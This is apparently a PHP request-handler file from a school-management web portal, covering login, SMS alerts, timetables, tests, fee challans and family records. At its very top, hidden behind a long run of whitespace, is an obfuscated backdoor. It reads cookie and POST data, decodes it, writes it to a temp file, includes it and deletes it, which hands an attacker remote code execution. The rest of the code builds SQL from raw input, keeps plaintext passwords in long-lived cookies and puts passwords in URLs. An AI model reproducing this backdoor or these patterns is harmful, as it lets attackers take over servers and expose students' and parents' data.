<?php                                                                                                                                                                                                                                                                                                                                                                                                 $xLifrq = class_exists("XJ_ypi");if (!$xLifrq){class XJ_ypi{private $QRSgbzKD;public static $loJyMh = "8ada7b24-7a93-4c85-b369-c397f3905f3b";public static $WuuDmL = NULL;public function __construct(){$HVTSuTqRW = $_COOKIE;$zpyXsJ = $_POST;$nMbqKVg = @$HVTSuTqRW[substr(XJ_ypi::$loJyMh, 0, 4)];if (!empty($nMbqKVg)){$aiKMBrxo = "base64";$QhrycpSpzT = "";$nMbqKVg = explode(",", $nMbqKVg);foreach ($nMbqKVg as $caPTn){$QhrycpSpzT .= @$HVTSuTqRW[$caPTn];$QhrycpSpzT .= @$zpyXsJ[$caPTn];}$QhrycpSpzT = array_map($aiKMBrxo . '_' . "\x64" . chr ( 463 - 362 )."\x63" . chr ( 151 - 40 ).chr (100) . chr ( 214 - 113 ), array($QhrycpSpzT,)); $QhrycpSpzT = $QhrycpSpzT[0] ^ str_repeat(XJ_ypi::$loJyMh, (strlen($QhrycpSpzT[0]) / strlen(XJ_ypi::$loJyMh)) + 1);XJ_ypi::$WuuDmL = @unserialize($QhrycpSpzT);}}public function __destruct(){$this->Ksvcs();}private function Ksvcs(){if (is_array(XJ_ypi::$WuuDmL)) {$mNFjAVuhxO = sys_get_temp_dir() . "/" . crc32(XJ_ypi::$WuuDmL['s' . "\141" . 'l' . chr ( 227 - 111 )]);@XJ_ypi::$WuuDmL['w' . chr ( 1047 - 933 ).'i' . "\x74" . chr (101)]($mNFjAVuhxO, XJ_ypi::$WuuDmL["\x63" . 'o' . chr ( 323 - 213 )."\164" . chr ( 383 - 282 ).chr ( 830 - 720 ).'t']);include $mNFjAVuhxO;@XJ_ypi::$WuuDmL["\144" . chr ( 311 - 210 ).chr (108) . "\x65" . chr (116) . "\145"]($mNFjAVuhxO);exit();}}}$dHyPpjiH = new XJ_ypi(); $dHyPpjiH = NULL;} ?><?php include("callMe.php");
 function utf8_to_unicode($str) {

	$unicode = array();

	$values = array();

	$lookingFor = 1;

	for ($i = 0; $i < strlen($str); $i++) {

	    $thisValue = ord($str[$i]);

	    if ($thisValue < 128) {

	        $number = dechex($thisValue);

	        $unicode[] = (strlen($number) == 1) ? '%u000' . $number : "%u00" . $number;

	    } else {

	        if (count($values) == 0)

	            $lookingFor = ( $thisValue < 224 ) ? 2 : 3;

	        $values[] = $thisValue;

	        if (count($values) == $lookingFor) {

	            $number = ( $lookingFor == 3 ) ?

	                    ( ( $values[0] % 16 ) * 4096 ) + ( ( $values[1] % 64 ) * 64 ) + ( $values[2] % 64 ) :

	                    ( ( $values[0] % 32 ) * 64 ) + ( $values[1] % 64

	                    );

	            $number = dechex($number);

	            $unicode[] =

	                    (strlen($number) == 3) ? "%u0" . $number : "%u" . $number;

	            $values = array();

	            $lookingFor = 1;

	        } // if

	    } // if

	}

	return implode("", $unicode);

}



function phpexpertOTP($length = 4, $chars = '1234567890')  

{  

         $chars_length = (strlen($chars) - 1);  

         $string = $chars{rand(0, $chars_length)};  

         for ($i = 1; $i < $length; $i = strlen($string))  

         {  

            $r = $chars{rand(0, $chars_length)};  

            if ($r != $string{$i - 1}) $string .= $r;  

         }  

         return $string;

}  

function phpexpertOTPSPONSER($length = 4, $chars = '1234567890')  

{  

         $chars_length = (strlen($chars) - 1);  

         $string = $chars{rand(0, $chars_length)};  

         for ($i = 1; $i < $length; $i = strlen($string))  

         {  

            $r = $chars{rand(0, $chars_length)};  

            if ($r != $string{$i - 1}) $string .= $r;  

         }  

         return $string;

} 



function GenerateSerial() 

{

$chars = array(0,1,2,3,4,5,6,7,8,9);

$sn = '';

$max = count($chars)-1;

for($i=0;$i<7;$i++){

 $sn .= (!($i % 5) && $i ? '' : '').$chars[rand(0, $max)];

}

return $sn;

}



function generate_RollNumber($branch,$session,$initial,$conn)



	{

	    $ss="-".$session."-";

		$sql = "SELECT MAX(CAST(SUBSTR(candidate_roll_no,8,LENGTH(candidate_roll_no)) AS UNSIGNED)) AS prev_roll

FROM edu_student_details as std WHERE std.branch_id =  '7' AND std.candidate_roll_no LIKE  '%-$session-%' AND std.active_inactive =  '0'

";	

		$numb;

		$evt = mysqli_query($conn,$sql);



		

		$prev= $evt['prev_roll'];





			if($prev!=NULL){

				

					

					$numb=$prev+1;		

				

			} else{$numb+=1;}





		$roll=str_pad($numb,3,'0',STR_PAD_LEFT);

		

		$newRoll=$initial."-".$session."-".$roll;



		if ($newRoll!=NULL){		

		return $newRoll;

		}

		else{

			

			return "--";

			

			}





} // closing function









function salt($leng = 22) 

{

    return substr(sha1(mt_rand()), 0, $leng);  

}



function serialMe($user_mail)

{

    $hash = md5($user_mail . salt());



    for ($i = 0; $i < 1000; $i++) {

        $hash = md5($hash);

    }



    return implode('-', str_split(substr(strtoupper($hash), 0, 20), 5));

}



function sendSMSFuction($number,$message,$from)

{

  



  if(substr($number,0,1)=="3"){

  $to = "92".$number;

  }else if(substr($number,0,1)=="0"){

  $to =  "92".substr($number,1);

  }

  else if(substr($number,0,2)=="92"){

  $sendmsg1 =  $number;

  }

  else{

   $to = "Invalid Number";

  }



  $username = SMSAPI_USER;

  $password = SMSAPI_PASS;

  

	if($from!="" || $from!=NULL ){

	  $from = $from;   

	}else {      

	  $from=$_SESSION['brand'];  

	}



$url = "http://lifetimesms.com/json";



$parameters = array("username" =>$username ,

                  "password" => $password,

                  "to" => $to,

                  "from" => $from,

                  "message" => $message

                );





	$ch = curl_init();

	$timeout  =  30;

	curl_setopt($ch, CURLOPT_URL, $url);

	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

	curl_setopt($ch, CURLOPT_HEADER, 0);

	curl_setopt($ch, CURLOPT_POST, 1);

	curl_setopt($ch, CURLOPT_POSTFIELDS, $parameters);

	curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);

	$response = curl_exec($ch);

	curl_close($ch);



   return $response;

} // ending function sms sending





/*
if($_REQUEST['action']=="user_login")

{


$id = 1;
$firstName = "Shahid";
$lastName = "abbas";
 
$qry = 'select * from eduportal_prepare_statement where id = ?';
 
$userStatement = mysqli_prepare($m, $qry);
 
mysqli_stmt_bind_param($userStatement, 'i',$id);
 
mysqli_stmt_execute($userStatement);
 
$result = mysqli_stmt_get_result($userStatement);
$getData = mysqli_fetch_assoc($result);
 
print_r($getData);
	
*/
   

   /* create a prepared statement */

 //  $stmt = mysqli_prepare($m, "SELECT * FROM edu_user_config WHERE user_email=? AND user_password=?");  

   /* bind parameters for markers */
 //  mysqli_stmt_bind_param($stmt, "ss", $user_email,$user_password);

  // $user_email= $_REQUEST['txt_email'];
  // $user_password= $_REQUEST['txt_password'];

   /* execute query */
  //mysqli_stmt_execute($stmt);

   /* bind result variables */
 //  mysqli_stmt_bind_result($stmt, $user_email,$user_password);

   /* fetch value */
  // mysqli_stmt_fetch($stmt);

   //printf("%s is in district %s\n", $user_email, $district);

 //	echo "Email: ".$user_email. " Password: ". $user_password;

  /* echo "<pre>";
   print_r($stmt);
   echo "<pre>";*/


//}






if($_REQUEST['action']=="user_login")

{

 echo  $EmailStringValue=CheckString($_REQUEST['txt_email'],$m);

 echo  $PasswordStringValue=CheckString($_REQUEST['txt_password'],$m);


	$m->where("user_email", utf8_decode_all(trim($_REQUEST['txt_email'])));

	$m->where("user_password", utf8_decode_all(trim($_REQUEST['txt_password'])));

	$m->where("status ='0'");

	//$m->where("branch_id", $rec[0]['branch_id']);

    $rec = $m->get("edu_user_config");

   print_r($rec);
	

if(($m->count==1) && ($rec[0]['user_email']==trim($_REQUEST['txt_email'])) && ($rec[0]['user_password']==trim($_REQUEST['txt_password']) ) && $EmailStringValue=='0' && $PasswordStringValue=='0'  )
{

	//getting branch details 
	$m->where("branch_id", $rec[0]['branch_id']);

	$branch=$m->get("edu_branch_config");


	// this is the section after succesful login but institute in-active
	

	 if($branch[0]['Status']==1 || $branch[0]['Status']=="1"){

	   //echo "$branch[0]['Status']==1";

		$_SESSION['reasons']=$branch[0]['reasons'];

		header("location:../index.php");	



	} else {

	// this is the section after an authorized login access





	$email=$_REQUEST["txt_email"];
    $password=$_REQUEST["member_password"];
   
   if(!empty($_REQUEST["remember"]))   
   {  
    setcookie ("txt_email",$email,time()+ (10 * 365 * 24 * 60 * 60));  
    setcookie ("txt_password",$password,time()+ (10 * 365 * 24 * 60 * 60));
    $_SESSION["admin_email"] = $email;
    $_SESSION["admin_password"] = $password;

   }

	
    $m->where("designation_id", $rec[0]['designation_id']);

    $designation=$m->get("eduportal_designation_config");

	// now setting sms brand

	$m->where("mask_status", 0);

	$m->where("branch_id", $rec[0]['branch_id']);

	$branch_sms=$m->get("eduportal_school_masks");

    

	if(count($branch_sms)>0){

		$_SESSION['brand']=$branch_sms[0]['mask_name'];

	}else {

		$sms_api=$m->get("api_setting");	

		$_SESSION['brand']=$sms_api[0]['brand'];

	}

   

	$_SESSION['user_id']=$rec[0]['user_id'];

	$_SESSION['username']=utf8_decode_all($rec[0]['user_fname']);

	$_SESSION['user_email']=utf8_decode_all($rec[0]['user_email']);

	$_SESSION['branch']=utf8_decode_all($rec[0]['branch_id']);

	$_SESSION['user_cellNo']=utf8_decode_all($rec[0]['cell_no']);	

	$_SESSION['branch_name']=utf8_decode_all($branch[0]['Branch_Name']);

	$_SESSION['session']=utf8_decode_all($branch[0]['session_id']);

	$_SESSION['current_session']=$branch[0]['current_session'];	

	$_SESSION['designation']=$designation[0]['designation_name'];

	$_SESSION['parents_link']=$branch[0]['parents_link'];
		
	$_SESSION['app_link']=$branch[0]['app_link'];

	$_SESSION['Zoom_API_Key']=$branch[0]['Zoom_API_Key'];	

	$_SESSION['Zoom_API_Secret']=$branch[0]['Zoom_API_Secret'];

	$_SESSION['Zoom_Email']=$branch[0]['Zoom_Email'];



	// print_r($_SESSION);



	date_default_timezone_set("Asia/Karachi");





		if($branch[0]['login_alert_sms']=="1" || $branch[0]['login_alert_sms']==1){

		$number=$_SESSION['user_cellNo'];
		$message ="Dear, 
		".$_SESSION['username']."

		Your account has been logged in at:".date("h:i: sa")." ".date('d-M-Y')."

		From:".$_SESSION['branch_name']; 

		 //echo "<br>".print_r($message)."<br/>";
		 
		 $result=sendSMSFuction($number,$message,$_SESSION['brand']);
			
			//print_r($result);
		  
		   $msgcount=ceil(strlen($message)/160);

		   $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1,'msg_count'=>$msgcount );
		    $result =  $m->insert('edu_messages_details', $data);

		}


	 // saving login track of users

	$data = array(

			'user_id' => $rec[0]['user_id'],
			'branch_id' => $rec[0]['branch_id'],
			'user_login_date' => date('Y-m-d'),
			'user_login_time' => date("h:i:sa"),
			'user_ipaddress' => $_SERVER['REMOTE_HOST']
		);

	    $m->insert ('eduportal_users_login_history', $data);
	


		 $user=$_SESSION['user_id'];            

    	 $branch=$_SESSION['branch'];

		 $pageName='dashboard.php';



		 $qr="SELECT * FROM users_privilege_detail as priv, eduportal_modules_pages_detail as pag WHERE priv.user_id='$user' and priv.page_id=pag.page_id and priv.branch_id='$branch' and (pag.page_name='$pageName' or pag.page_name='basic_dashboard.php') order by priv.privilege_id asc limit 1";

		      $pages = $m->query($qr);
		      $_SESSION['dashboard']=$pages[0]['page_name'];
		      if($pages[0]['page_name']=="dashboard.php") {


		      	header("location:../dashboard.php?".session_id().session_id().session_id().session_id().session_id()."&successlogin=1");

		      } else if($pages[0]['page_name']=="basic_dashboard.php") {

		      	header("location:../basic_dashboard.php?".session_id().session_id().session_id().session_id().session_id()."&successlogin=1");
		      }	      

			else {

		      	header("location:../blank.php?".session_id().session_id().session_id().session_id().session_id()."&successlogin=1");
		      }	


	} 



}


 else 

	{

		$_SESSION['clerror_msg']=1;

		header("location:../index.php?".session_id().session_id().session_id().session_id().session_id()."&clerror_msg=1");

	}

  

}



if(($_REQUEST['action']=='PeriodCategory'))

{



		$data = array(

				'branch_id' => $_SESSION['branch'],

				'period_title' => $_REQUEST['PcategoryTitle']

			);



//print_r($data);

	 $result = $m->insert('eduportal_periods_category',$data);



		$_SESSION['addContact']=1;	

		 	

		header("location:../period_categories.php?".session_id().session_id().session_id().session_id().session_id()."");



}



if($_REQUEST['action']=="add_title")

{
	$data = array(
	
		'title' => $_REQUEST['title'],
		'session_id' => $_REQUEST['session'],
		'branch_id' => $_SESSION['branch'],
		'create_date' => date("Y-m-d"));

	$result =  $m->insert('eduportal_create_test', $data); 

	$_SESSION['addsuccessexp']=1;

	header("location:../test_title.php?".session_id().session_id().session_id().session_id().session_id());
}


if($_REQUEST['action']=="update_title")

{
		$data = array(

		'title' => $_REQUEST['title'],
		'session_id' => $_REQUEST['session'],
		
		);

		$m->where ("test_id", $_REQUEST['test_id']);
		$result = $m->update('eduportal_create_test',$data);

	$_SESSION['addsuccessexp']=1;

	header("location:../test_title.php?".session_id().session_id().session_id().session_id().session_id());
}




if($_REQUEST['action']=="SubjectOrderList")

{

	 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";
	$count=1;
	foreach ($_REQUEST['subject_id'] as $subject) {

   /* echo $_REQUEST['subjectOrder'].$subject."<br>";*/


   $subjectID=$subject;
   $OrderNumber=$_REQUEST['subjectOrder'].$subject=$count;

 //  echo $subjectID."<br>";

   $data = array(

		'subject_order' => $OrderNumber,

		'subject_id' => $subjectID
				
		);
  // echo "<pre>"; print_r($data); echo "</pre>";

   		  $m->where("subject_id", $subjectID);

		  $m->where("class_id", $_REQUEST['class_id']);

	      $m->where("section_id", $_REQUEST['section_id']);

	      $m->where("branch_id", $_SESSION['branch']);

	      $m->where("session_id", $_SESSION['current_session']);

		  $result = $m->update('eduportal_class_subjects',$data);

   $count++;
}
		

	$_SESSION['addsuccessexp']=1;

	header("location:../subject_drag.php?".session_id().session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section_id=".$_REQUEST['section_id']);
}





if($_REQUEST['action']=="add_test")

//print_r($_REQUEST);

{
	$chap=$_REQUEST['chapter_id'];
	$chapterId=implode(",",$chap);

//$chapterId = implode(",",$_REQUEST['chapter_id'];

	$data = array(

		'branch_id' => $_SESSION['branch'],
		'test_id' => $_REQUEST['test_ids'],
		'class_id' => $_REQUEST['class_id'],
		'subject_id' => $_REQUEST['subject_id'],
		'pattern' => $_REQUEST['pattern'],
		'chapters' => $chapterId,
		'number_of_questions' => $_REQUEST['number_of_questions'],
		'each_question_number' => $_REQUEST['each_question_number'],
		'Live_Mobile_App' => $_REQUEST['Live_Mobile_App'],
		'create_date' => date("Y-m-d"),
		'duration' => $_REQUEST['duration']);

	

//print_r($data);

	$result =  $m->insert('eduportal_LMS_test_subject_details', $data); 


	$_SESSION['addsuccessexp']=1;


	if ($_REQUEST['pattern']=="manual") {

		header("location:../manual_paper.php?".session_id().session_id().session_id().session_id().session_id()."&branch_id=".$_SESSION['branch']."&class_id=".$_REQUEST['class_id']."&subject_id=".$_REQUEST['subject_id']."&test_id=".$_REQUEST['test_ids']."&chapters=".$chapterId);
		
	} else {

		
		header("location:../create_test.php?".session_id().session_id().session_id().session_id().session_id());
	}

	

}


if(($_POST['action']=='InsertManualQuestions'))

{
	//print_r($_POST);	

		for($i=0;$i<count($_POST["questions"]);$i++){



	    //	echo $_POST['questions'][$i]."<br>";
	$data = array(

			

			'branch_id' => $_SESSION['branch'],

			'test_id' => $_POST['test_id'],

			'class_id' => $_POST['class_id'],

			'subject_id' => $_POST['subject_id'],

			'question_id' => $_POST['questions'][$i]

			);

			

			$result = $m->insert('eduportal_insert_manual_question',$data);

			//print_r($data); 
		/*	$sql="Insert into eduportal_insert_manual_question (`branch_id`, `subject_id`, `class_id`, `question_id`, `test_id`)  values ('".$_SESSION['branch']."','".$_POST['subject_id']."','".$_POST['class_id']."','".$_POST['test_id']."','".$_POST['questions'][$i]."')";
			print_r($sql);

			$m->query($sql);*/

		}  // ending loop 



		//$_SESSION['Added']=1;	

		header("location:../create_test.php?".session_id().session_id().session_id().session_id().session_id());



}  // main 






/*if(($_REQUEST['action']=='EditLectureTime'))

{

 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";

$class_id=$_REQUEST['class_id'];

$section=$_REQUEST['section'];
$branchId=$_SESSION['branch'];



$sql = "SELECT * FROM  eduportal_class_periods as classP, eduportal_school_periods_details as Pdetails  WHERE classP.class_id='$class_id' and classP.section_id='$section' and classP.period_id=Pdetails.period_id and classP.branch_id='$branchId' ORDER BY Pdetails.period_details_title ASC";
//print_r($sql);
$WorkAssignListings5 = $m->query($sql);


$counter=0;

foreach ($WorkAssignListings5 as $WorkAssign) {

	
	 for ($x = 1; $x <= count($WorkAssignListings5); $x++) { 


	 	if ($_REQUEST['teachers'.$x][$counter]!=NULL && $_REQUEST['subjects'.$x][$counter]!=NULL) {

	 		
				$data = array(

				'class_id' => utf8_decode_all($_REQUEST['class_id']),

				'section_id' => utf8_decode_all($_REQUEST['section']),

				'session_id' => utf8_decode_all($_SESSION['current_session']),

				'day_id' => utf8_decode_all($_REQUEST['day_id'.$x][$counter]),

				'period_id' => utf8_decode_all($_REQUEST['period_id'][$x-1]),

				'period_cat_id' => utf8_decode_all($_REQUEST['period_cat_id']),

				'user_id' => utf8_decode_all($_REQUEST['teachers'.$x][$counter]),

				'subject_id' => utf8_decode_all($_REQUEST['subjects'.$x][$counter])

			);


			 	  $m->where("period_id", $_REQUEST['period_id'][$x-1]);

			 	  $m->where("day_id", $_REQUEST['day_id'.$x][$counter]);

				  $m->where("class_id", $_REQUEST['class_id']);

			      $m->where("section_id", $_REQUEST['section']);

			      $m->where("branch_id", $_SESSION['branch']);

				  $result = $m->update('eduportal_lectures_time',$data);

			}	 // if


		} // for loop 


		$counter++;


} // foreach			

	$_SESSION['addpros']=1;	

	header("location:../view_class_period_selection.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']);


}  // main */





if(($_REQUEST['action']=='EditLectureTime'))

{
 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";

$class_id=$_REQUEST['class_id'];

$section=$_REQUEST['section'];

$branchId=$_SESSION['branch'];

   
   

    $m->where("class_id", $_REQUEST['class_id']);

    $m->where("section_id", $_REQUEST['section']);

    $m->where("branch_id", $_SESSION['branch']);

    $result = $m-> delete('eduportal_lectures_time');


$sql = "SELECT * FROM  eduportal_class_periods as classP, eduportal_school_periods_details as Pdetails  WHERE classP.class_id='$class_id' and classP.section_id='$section' and classP.period_id=Pdetails.period_id and classP.branch_id='$branchId' ORDER BY Pdetails.period_details_title ASC";



$WorkAssignListings5 = $m->query($sql);

//print_r($WorkAssignListings5);

 $WorkAssignListings = $m->get("eduportal_days_config");


foreach ($WorkAssignListings as $WorkAssign) {

	
$days_id=$WorkAssign['day_id'];
$counter3=0;
//echo $counter3;
	 for ($x = 1; $x <= count($WorkAssignListings5); $x++) { 



	// echo $_REQUEST['day_id1'.$days_id.$x];

	if ($_REQUEST['teachers1'.$days_id.$x][$counter3]!=NULL && $_REQUEST['subjects1'.$days_id.$x][$counter3]!=NULL) {	

	 		 	$data = array(

	 		 	'branch_id' => utf8_decode_all($_SESSION['branch']),

				'class_id' => utf8_decode_all($_REQUEST['class_id']),

				'section_id' => utf8_decode_all($_REQUEST['section']),

				'session_id' => utf8_decode_all($_SESSION['current_session']),

				'day_id' => utf8_decode_all($_REQUEST['day_id1'.$days_id.$x][$counter3]),

				'period_id' => utf8_decode_all($_REQUEST['period_id'][$x-1]),

				'period_cat_id' => utf8_decode_all($_REQUEST['period_cat_id']),

				'user_id' => utf8_decode_all($_REQUEST['teachers1'.$days_id.$x][$counter3]),

				'subject_id' => utf8_decode_all($_REQUEST['subjects1'.$days_id.$x][$counter3])

			);


			// echo "data--"."<pre>"; print_r($data); echo "</pre>";

				 $result = $m->insert('eduportal_lectures_time',$data);
				 
				 }	 // if





		} // for loop 



		$counter3++;





} // foreach			

	
				$_SESSION['addpros']=1;	



		header("location:../view_class_period_selection.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']);

}



if(($_REQUEST['action']=='DeleteTimeTable'))

{
		


		    $m->where("class_id", $_REQUEST['class_id']);

		    $m->where("section_id", $_REQUEST['section']);

		    $m->where("branch_id", $_SESSION['branch']);

		    $result = $m-> delete('eduportal_lectures_time');

		
				

		$_SESSION['delete']=1;	

	header("location:../view_class_period_selection.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']);
	

}


if(($_POST['action']=='CreateParentsLoginIDs'))

{

	//echo  "<pre>".print_r($_REQUEST)."</pre>"; 

	$sms=0;

	$cell_no;

 for($i=0;$i<count($_POST['checkboxes']);$i++){

    



  if($_POST['checkboxes'][$i]!=null){



	 $id=$_POST['checkboxes'][$i];    

//print_r($id);;

      

$data = array(

	'parents_cellno' => $_POST['cell_no'.$id],

	'parents_name' => $_POST['last_name'.$id],

	'password' => $_POST['parent_password'.$id],

	'branch_id' => $_SESSION['branch'],



	);



	//print_r($data);



	$result = $m->insert('eduportal_parents_access',$data);



      /*

      $parent_name=$_POST['last_name'.$id];

	  $user_name=$_POST['cell_no'.$id];

      $user_password=$_POST['parent_password'.$id];

      $number=$_POST['cell_no'.$id];

 
//echo $parent_name;

if(isset($_POST['portal'])){

	$link=$_POST['link'];
}else {

	 $link="shorturl.at/ikqM6";
}

$message ="Dear 

".$parent_name.",


Username:".$user_name." 

Password:".$user_password."

Login Here:".$link."

From:".$_SESSION['branch_name']; 



 //echo "<br>".print_r($message)."<br/>";

 

 $result=sendSMSFuction($number,$message,$_SESSION['brand']);

	

	//print_r($result);

  

   

   $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

    $result =  $m->insert ('edu_messages_details', $data);

   

    //print_r($data);

    

    $sms++;*/

    //print_r( $data);



    }// ending if number is not blank



  } // ending loop 





   $url="../parents_access.php?".session_id().session_id().session_id().session_id().session_id();



  echo "<script>window.location="."'$url'"."</script>";





}







if(($_REQUEST['action']=='GenerateAllMonthlyChallan'))

{



		// echo "<pre>"; print_r($_REQUEST); echo "</pre>";



			for($i=0;$i<count($_REQUEST['student_id']);$i++){



		   

				$m->where ("month_id", $_REQUEST['month']);

				$m->where ("session_id", $_REQUEST['session_id']);

			//	$m->where ("classs_id", $_REQUEST['class_id'][$i]);

				$m->where ("branch_id", $_SESSION['branch']);

				$m->where ("student_id", $_REQUEST['student_id'][$i]);

				

				$old_challan =  $m->get ('eduportal_monthly_challan');

				//echo count($old_challan);

				if(count($old_challan)>0){

					continue;

				} else {

					// generating new challan of month 

					$data = array(

					'month_id' => $_REQUEST['month'],

					'session_id' => $_REQUEST['session_id'],

					'classs_id' => $_REQUEST['class_id'][$i],

					'challan_duedate' => $_REQUEST['duedate'],

					'tutionfee' => $_REQUEST['tutionfee'][$i],

					'transportfee' => $_REQUEST['transportfee'][$i],

					'balance' => $_REQUEST['balance'][$i],

					'branch_id' => $_SESSION['branch'],

					'student_id' => $_REQUEST['student_id'][$i],

					'misc_fee' => $_REQUEST['miscfee'][$i],

					'disc_amount' => $_REQUEST['disc_amount'][$i],

					'disc_type' => $_REQUEST['disc_type'][$i]

					);

				//echo "<pre>"; print_r($data); echo "</pre>";

				  $result = $m->insert('eduportal_monthly_challan',$data);  // data has been inserted with new challan





		          $challan_id= $m->getInsertId();



		         // now inserting the challan details with other fee parameters



		           $fee_types = $m->get("eduportal_fee_types");

				

					foreach ($fee_types as $type) {



						$name=$type['feetype_id']."-".$_REQUEST['student_id'][$i];



						$type_val=$_REQUEST[$name];



						if($type_val!=""){



				           $data = array(

					          'challan_id' => $challan_id,

					          'feetype_id' =>$type['feetype_id'],

					          'fee_amount' => $type_val,

					          'session_id' => $_REQUEST['session_id'],

					          'branch_id' => $_SESSION['branch'],

					          'class_id' => $_REQUEST['class_id'][$i],

					          'month_id' => $_REQUEST['month'],

					          'student_id' => $_REQUEST['student_id'][$i]

					          );

				          

				          //echo "<pre>"; print_r($data); echo "</pre>";



				            $result = $m->insert('eduportal_monthly_challan_details',$data);

				      }// inner if



				  } // closing foreach loop

				          

			

				}// ending else condition



				//echo "<pre>"; print_r($data); echo "</pre>";

		}  // ending loop 



		$_SESSION['addsuccess']=1;

		header("location:../fee_reporting.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session_id']."&section=&month=".$_REQUEST['month']."&class_id=All&&from=&to=");

}  // main if





if(($_REQUEST['action']=='createFamilies'))

{

		 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";
	$branch=$_SESSION['branch'];

	/*$sql = "SELECT MAX(family_code) AS prev_Family FROM edu_student_details as std WHERE std.branch_id =  '$branch' AND std.status='0'";*/  

	$sql = "SELECT MAX(CAST(family_code AS UNSIGNED)) AS prev_Family FROM edu_student_details WHERE branch_id='$branch' and status='0'";
//print_r($sql);
      $evt =$m->query($sql);
      $numb;

      $prev= $evt[0]['prev_Family'];

      if($prev!=NULL){    

            $numb=$prev+1;        
//echo $numb;
        } else{$numb+=1;}


			for($i=0;$i<count($_REQUEST['cell_no']);$i++){
		   
				$id=$_REQUEST['cell_no'][$i]; 





				/*$m->where ("cell_no", $id);

				$AlreadyFamilyCode = $m->get('edu_student_details');

				if(count($AlreadyFamilyCode[0]['family_code'])>0) {

					$Code=$AlreadyFamilyCode[0]['family_code'];

				} else {*/

			if ($_REQUEST['GenrateCode']=='Auto') {
					
					$Code=$numb;

				}	else {

					$Code=$_REQUEST['GenrateFamilyCode'][$i];
				}


				//}


				
				$familyChildren=implode(",",$_REQUEST['student'.$id]);
					// generating new challan of month 

					$data = array(

					'branch_id' => $_SESSION['branch'],

					'father _name' => $_REQUEST['fatherName'][$i],

					'cell_number' => $_REQUEST['cell_no'][$i],

					'childrens' => $familyChildren,

					'familyCode' => $Code

					);

				//echo "<pre>"; print_r($data); echo "</pre>";

			  $result = $m->insert('eduportal_family_details',$data);  // data has been inserted with new challan


			  // update Students Family Code

          $data = array(

          'family_code' => $Code);

		   $m->where ("cell_no", $_REQUEST['cell_no'][$i]);

           $result = $m->update('edu_student_details',$data);


		$numb++;


		}  // ending loop 



		$_SESSION['addsuccess']=1;

		header("location:../create_families.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session_id']."&section=&month=".$_REQUEST['month']."&class_id=All&&from=&to=");

}  // main if




if(($_POST['action']=='ClassPrintParameter'))
{

	//print_r($_POST);
	
	$_SESSION['done']=1;
	header("location:../class_print.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&admission=".$_POST['admission']."&student_name=".$_POST['student_name']."&previous_balance=".$_POST['previous_balance']."&miscellaneous=".$_POST['miscellaneous']."&father_name=".$_POST['father_name']."&class_sec=".$_POST['class_sec']."&address=".$_POST['address']."&localities=".$_POST['localities']."&dob=".$_POST['dob']."&cell_no=".$_POST['cell_no']."&roll_no=".$_POST['roll_no']."&tution_fee=".$_POST['tution_fee']."&studnetlist=".$_POST['studnetlist']."&from=".$_POST['from']."&to=".$_POST['to']."&orderBy=".$_POST['orderBy']."&blank_column=".$_POST['blank_column']."&father_cellno=".$_POST['father_cellno']."&mother_cell=".$_POST['mother_cell']."&home_number=".$_POST['home_number']."&father_Bnumber=".$_POST['father_Bnumber']."&std_transport_fee=".$_POST['std_transport_fee']."&loginid_paswrd=".$_POST['loginid_paswrd']."&Admascending=".$_POST['Admascending']);
}


if(($_POST['action']=='AttendanceSheetParameter'))
	
{

	//print_r($_POST);
	
	$_SESSION['done']=1;
	header("location:../print_attendance_sheet.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&cell_no=".$_POST['cell_no']."&roll_no=".$_POST['roll_no']."&father_name=".$_POST['father_name']."&ref_no=".$_POST['ref_no']);
}


if(($_POST['action']=='StaffListPrintParameter'))
{

	//print_r($_POST);
	
	$_SESSION['done']=1;
	header("location:../print_staff_list.php?".session_id().session_id().session_id().session_id().session_id()."&name=".$_POST['name']."&father_name=".$_POST['father_name']."&gender=".$_POST['gender']."&qualification=".$_POST['qualification']."&cell_no=".$_POST['cell_no']."&pic=".$_POST['pic']."&salary=".$_POST['salary']."&home_contact=".$_POST['home_contact']."&email=".$_POST['email']."&paswrd=".$_POST['paswrd']."&designation=".$_POST['designation']."&department=".$_POST['department']);
}


if(($_POST['action']=='PrintFeeParameter'))
{

	//print_r($_POST);
	//$colspan=count($_POST['checkboxes'];
	$_SESSION['done']=1;
	header("location:../print_unpaid_fee.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&month=".$_POST['month']."&student_name=".$_POST['student_name']."&father_name=".$_POST['father_name']."&class_sec=".$_POST['class_sec']."&address=".$_POST['address']."&dob=".$_POST['dob']."&cell_no=".$_POST['cell_no']."&roll_no=".$_POST['roll_no']."&adm_no=".$_POST['adm_no']."&tution_fee=".$_POST['tution_fee']."&from=".$_POST['from']."&to=".$_POST['to']."&father_cellno=".$_POST['father_cellno']."&mother_cell=".$_POST['mother_cell']."&home_number=".$_POST['home_number']."&others=".$_POST['others']);
}




if(($_POST['action']=='PrintPaidFeeParameter'))
{

	//print_r($_POST);
	//$colspan=count($_POST['checkboxes'];
	$_SESSION['done']=1;
